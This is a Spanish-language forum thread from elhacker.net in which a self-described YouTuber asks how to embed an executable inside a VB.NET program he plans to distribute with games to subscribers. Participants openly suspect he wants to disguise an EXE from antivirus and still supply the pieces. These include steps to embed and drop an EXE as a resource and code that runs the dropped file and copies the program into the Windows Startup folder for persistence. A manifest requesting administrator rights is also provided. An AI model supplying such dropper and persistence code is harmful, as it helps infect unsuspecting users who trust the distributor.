Test Foro de elhacker.net SMF 2.1

Programación => Programación General => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: leo_gec en 10 Junio 2015, 06:47 AM

Título: Agregar archivo a exe en VB
Publicado por: leo_gec en 10 Junio 2015, 06:47 AM
hola, soy nuevo en este foro y quiero aprender a programar mas.
soy un youtuber y tengo a mis suscriptores, he tratado de hacer un programa en vb2008 para cuando abran el archivo se abran 2 txt al mismo tiempo y no se les olvide abrirlos.
Y se copien en el escritorio.
mi código es
Código (vb) [Seleccionar]

Public Class Form1
   Dim File As String = "%UserProfile%\Text.txt"
   Dim Copy As String = "%UserProfile%\Desktop"
   Dim Paste As String = "%UserProfile%\Desktop"
   Dim Pegar As String = "%UserProfile%\Desktop"
   Dim NEA As String = "%UserProfile%\Desktop"

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

   End Sub

   Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
     

   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       If System.IO.File.Exists(File) = True Then
           System.IO.File.Copy(File, Copy)
           System.IO.File.Copy(File, Paste)
           System.IO.File.Copy(File, Pegar)
           System.IO.File.Copy(File, NEA)

       End If
   End Sub
End Class



hasta ahora no me sale que se copie y no se como agregar el archivo al programa para que se copie al momento que mis suscriptores lo descarguen junto a los juegos. investigue pero no le ayo forma de agregarlo o me arroja el error.
si me ayudan estare a tento en aprender, si les molesto en algo o les quito su tiempo perdonen gracias
Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 10 Junio 2015, 16:29 PM
hola

Para incorporar elementos a nuestra aplicación: imágenes, vídeos, archivos, apliaciones, archivos binarios, cadenas, iconos, audios, ect. Se usan los archivos de recursos.


- Haz clic con el botón derecho sobre el Explorador de soluciones o bién en el menú 'Proyecto/Agregar Control de Usuario'

- Selecciona 'Archivo de recursos'

- Se te agregará una nueva paleta en el proyecto con nombre: Resource1.resx

- Dicha paleta tiene un menú. Por defecto el primero por la izquierda pone 'Cadenas'. Despliegalo haciendo clic en el triangulito a la derecha de 'Cadenas' para desplegar el menú. Selecciona 'Archivos'

- Ahora en el mismo menú pulsa 'Agregar recurso' y Busca el archivo de texto que quieres agregar, por ejemplo, 'Text.text'.


Ahora, como ejemplo, crea un botón y añade este código. El cual extrae el contenido de Text.txt, lo incorpora a una variable String y luego crea un archivo de texto en el directorio C:/ con el nombre File.txt

Código (vbnet) [Seleccionar]
Dim CopyResourceFile As New System.IO.StreamWriter("C:\File.txt") 'Crea un archivo vacío
'Introduce el texto del archivo de recursos Text.txt en strTexto
       Dim strTexto As String = My.Resources.Resource1.Text
       CopyResourceFile.WriteLine(strTexto) 'Crea el archivo
       CopyResourceFile.Flush() 'Borra bufferes



Ingoro si hay alguna función para hacerlo directamente. Es decir sin tener que crear una variable String.

Una vez compilado el programa en un EXE, es posible modificar los archivo de recursos que contiene usando programas como ResourceHacker, desde el cual puedes acceder a los recursos de una aplicación. También desde C++. (Por lo menos si que se podía con el viejo VB6)


+INFO:

https://msdn.microsoft.com/es-es/library/vstudio/6wkcc526%28v=vs.110%29.aspx (https://msdn.microsoft.com/es-es/library/vstudio/6wkcc526%28v=vs.110%29.aspx)



Título: Re: Agregar archivo a exe en VB
Publicado por: scott_ en 11 Junio 2015, 05:14 AM
No creo que vaya mas alla de eso.

Seamos sinceros, tu quieres camuflar un exe, aunque digas text.

[youtube=640,360]https://www.youtube.com/watch?v=QZftjRWjAmo[/youtube]

Pero tu quieres agregar uno dentro del exe de vb8, realmente no se como hacerlo en vb, tal vez Elektro te ayude.

Tengo que reconocerlo, muy ingenioso.


Saludos.
Título: Re: Agregar archivo a exe en VB
Publicado por: leo_gec en 11 Junio 2015, 10:23 AM
el copiado no me funciona.
lo demas si
alguien me puede ayudar a completarlo???????????

Código (vb) [Seleccionar]

Public Class Form1




    Dim File As String = "%temp%\leelo.exe"

    Dim Copy As String = "%ProgramData%\"
    Dim Paste As String = "%ProgramData%\"

    Dim Pegar As String = "%ProgramData%\"

    Dim NEA As String = "%ProgramData%\"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub




    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click

        If System.IO.File.Exists(File) = True Then
            System.IO.File.Copy(File, Copy)
            System.IO.File.Copy(File, Paste)
            System.IO.File.Copy(File, Pegar)
            System.IO.File.Copy(File, NEA)

        End If

    End Sub
End Class

Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 11 Junio 2015, 13:21 PM
Cita de: leo_gec en 11 Junio 2015, 10:23 AM
el copiado no me funciona.
lo demas si
alguien me puede ayudar a completarlo???????????


Parece que #scott_  está en lo cierto, ya que has rectificado y has puesto "%temp%\leelo.exe". Si lo que quieres es camuflar un EXE (para que no lo detecte un antivirus...), el sistema es el mismo, debes añadirlo como archivo de recursos, pero en lugar de 'Archivo', debes seleccinar 'Otros'. Sin embargo, a la hora de crear el archivo debes leerlo y crearlo com archivo binario y darle extensión "exe".

Almenos así lo hacía con el VB6, pero no lo he hecho con VB.Net. Por mera curiosidad me lo voy a mirar, ya que estoy pasando todo lo que hacía con VB6 a VB.Net y eso no lo he pasado.

Saludos




Jo jo, ni punto de comparación en VB.Net. más fácil que en VB6.

Bueno, como he comentado arriba hay que leerlo como binario y no como archivo de texto. Y a la hora de crearlo pues lo mismo.


1. En el menú, Clic 'Proyecto'

2. Clic en 'Agregar control de usuario'

3. Selecciona 'Archivo de recursos'

4. Selecciona 'Resource1.resx'

5. En el menú de  'Resource1.resx', abre el primer menú pulsando en el triangulito y selecciona 'Otros'

6. En el mismo menú, abre el menú 'Agregar recurso' y selecciona 'Agregar archivo existente'

7. Busca el EXE, en tu caso: "leelo.exe", para añadirlo.

8. Añade el siguiente código a un evento (load, click, etc):

[v. VB.NET 2010]
Código (vbnet) [Seleccionar]
       
'Introduce el contenido del archivo de recursos leelo.exe en binFile
Dim binFile() As Byte = My.Resources.Resource1.leelo

'Crea el archivo leelo.exe en el directorio C:
My.Computer.FileSystem.WriteAllBytes("C:\Leelo.exe", binFile, True)



+INFO:
https://msdn.microsoft.com/es-es/library/szz5syt3.aspx (https://msdn.microsoft.com/es-es/library/szz5syt3.aspx)


Espero que te funcione. ::) 

...Y por favor, no le metas ningún virus. :¬¬

Saludos

Título: Re: Agregar archivo a exe en VB
Publicado por: scott_ en 12 Junio 2015, 01:21 AM
No lo creo, ya entendí perfectamente lo que quiere  ;-) ;-) ;-) ;-) ;-)


Traduciéndolo del C te dejo el código.
Código (vb) [Seleccionar]
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


'Puedes cambiar Temp por desktop o escritorio :P
       IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt", My.Resources.Text)
       Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt")

       Dim info As New FileInfo(Application.StartupPath)
       info.CopyTo(My.Computer.FileSystem.SpecialDirectories.Programs + "\startup\Text.exe")


Para agregar permisos de Administrador deberás proporcionárselos.

Código (vb) [Seleccionar]
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
 <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
   <security>
     <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
       <!-- UAC Manifest Options
           If you want to change the Windows User Account Control level replace the
           requestedExecutionLevel node with one of the following.

       <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
       <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
       <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />

           If you want to utilize File and Registry Virtualization for backward
           compatibility then delete the requestedExecutionLevel node.
       -->
       <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
     </requestedPrivileges>
   </security>
 </trustInfo>
</asmv1:assembly>


Saludos.
Título: Re: Agregar archivo a exe en VB
Publicado por: leo_gec en 12 Junio 2015, 02:24 AM
justo lo q necesito scott
al compilarlo me dice unauthorizedaccessexception was unhandled
ya proporcione permosos de adm y nada.
me ayudas en eso pofvr?????????
gracias  ;)
Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 12 Junio 2015, 18:48 PM
Buenas

He intentado ejecutar el código y bueno,  WriteAllBytes se llama de la siguiente manera:

WriteAllBytes(ByVal path As String, ByVal bytes() As Byte)

si pones:

IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt", My.Resources.Text)

Entonces  se produce error ya que sólo admite bytes(), es decir, un exe, imagen, etc.




Para leo_gec:
"he tratado de hacer un programa en vb2008 para cuando abran el archivo... "(supong que te refieres a programa) "... se abran 2 txt al mismo tiempo y no se les olvide abrirlos.

Supongo que lo que que quieres,   es crear dos TXT y que se abran automáticamente. Se me ocurre que uses ShellExecute, ya que he probado con 'Shell'  y a través de la consola y no funcionaba.

Con ShellExecute se abren sin problema. Quizás haya otra manera, no se.


Código (vbnet) [Seleccionar]
Public Class Form1
   Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
       (ByVal hWnd As Integer, _
        ByVal lpOperation As String, _
        ByVal lpFile As String, _
        ByVal lpParameters As String, _
        ByVal lpDirectory As String, _
        ByVal nShowCmd As Integer) As Integer
   Const SW_SHOWNORMAL = 1
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim DirTemp As String = My.Computer.FileSystem.SpecialDirectories.Temp
       Dim TextFile1 As New System.IO.StreamWriter(DirTemp & "\Text1.txt") 'Crea un archivo vacío
       Dim TextFile2 As New System.IO.StreamWriter(DirTemp & "\Text2.txt") 'Crea un archivo vacío
       Dim strTexto1 As String = My.Resources.Resource1.Text1_txt 'Introuduce el texto del archivo de recursos Text.txten strTexto
       Dim strTexto2 As String = My.Resources.Resource1.Text2_txt

       TextFile1.WriteLine(strTexto1) 'Crea el archivo
       TextFile1.Flush() 'Borra bufferes
       TextFile2.WriteLine(strTexto2) 'Crea el archivo
       TextFile2.Flush() 'Borra bufferes

       ShellExecute(Me.Handle, "Open", "notepad", DirTemp & "\Text1.txt", vbNullString, SW_SHOWNORMAL)
       ShellExecute(Me.Handle, "Open", "notepad", DirTemp & "\Text2.txt", vbNullString, SW_SHOWNORMAL)

   End Sub

End Class




Cuando metes el archivo Text1.txt en Recursos, se renombra automáticamente Text1_txt. Yo cambié el nombre y le quité el "_txt" por eso he puesto esta línea de código así:

Dim strTexto1 As String = My.Resources.Resource1.Text1

pero supongo que tu no lo has cambiado, entonces sería así:

Dim strTexto1 As String = My.Resources.Resource1.Text1_txt

Por otro lado el nombre del resource lo tengo en Resource1, pero también se puede cambiar.

En resumen:  

My.Resources.[NombreResource].[NombreArchivo]

En fin para que no haya confusión lo he puesto con la extensión Text1_txt

Título: Re: Agregar archivo a exe en VB
Publicado por: Eleкtro en 13 Junio 2015, 10:52 AM
Cita de: okik en 12 Junio 2015, 18:48 PM
Supongo que lo que que quieres,   es crear dos TXT y que se abran automáticamente. Se me ocurre que uses ShellExecute, ya que he probado con 'Shell'  y a través de la consola y no funcionaba.

Con ShellExecute se abren sin problema. Quizás haya otra manera, no se.

Process.Start(filename) - MSDN (https://msdn.microsoft.com/en-us/library/53ezey2s%28v=vs.110%29.aspx)

Saludos!
Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 13 Junio 2015, 12:37 PM
Cita de: Eleкtro en 13 Junio 2015, 10:52 AM
Process.Start(filename) - MSDN (https://msdn.microsoft.com/en-us/library/53ezey2s%28v=vs.110%29.aspx)

Saludos!

Gracias Eleкtro, he probado  Process.Start y funciona bien, aunque el archivo esté en la carpeta temp.




Como la aportación de Elektro funciona he quitado ShellExecute y quedaría así:

Código (vbnet) [Seleccionar]
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim DirTemp As String = My.Computer.FileSystem.SpecialDirectories.Temp
       Dim TextFile1 As New System.IO.StreamWriter(DirTemp & "\Text1.txt") 'Crea un archivo vacío
       Dim TextFile2 As New System.IO.StreamWriter(DirTemp & "\Text2.txt") 'Crea un archivo vacío
       Dim strTexto1 As String = My.Resources.Resource1.Text1_txt 'Introuduce el texto del archivo de recursos Text.txten strTexto
       Dim strTexto2 As String = My.Resources.Resource1.Text2_txt

       TextFile1.WriteLine(strTexto1) 'Crea el archivo
       TextFile1.Flush() 'Borra bufferes
       TextFile2.WriteLine(strTexto2) 'Crea el archivo
       TextFile2.Flush() 'Borra bufferes
       Process.Start(DirTemp & "\Text1.txt") 'Abre el archivo Text1.txt
       Process.Start(DirTemp & "\Text2.txt") 'Abre el archivo Text2.txt
   End Sub